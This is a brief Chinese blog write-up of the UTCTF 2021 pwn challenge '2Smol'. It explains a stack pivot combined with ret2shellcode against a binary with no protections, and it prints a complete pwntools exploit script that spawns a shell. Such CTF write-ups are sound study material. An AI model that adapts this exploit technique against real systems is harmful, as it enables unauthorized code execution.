utctf2021 write up for 2Smol

又是一道栈迁移…

惯例的checksec,保护全关,整挺好

image.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出可以利用

由于程序本身没有调用libc库,故考虑栈迁移 + ret2shellcode以get shell

构造exp如下:

1
2
3
4
5
6
from pwn import *
context.arch = 'amd64'
p = process('./smol') # p = remote('pwn.utctf.live', 9998)
p.send(b'A' * 8 + p64(0x402008 + 0x500) + p64(0x401015))
p.send(p64(0x402020 + 0x500) * 4 + asm(shellcraft.sh()))
p.interactive()

运行即可get shell

image.png

Posted on

2021-03-18

Updated on

2023-02-05

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!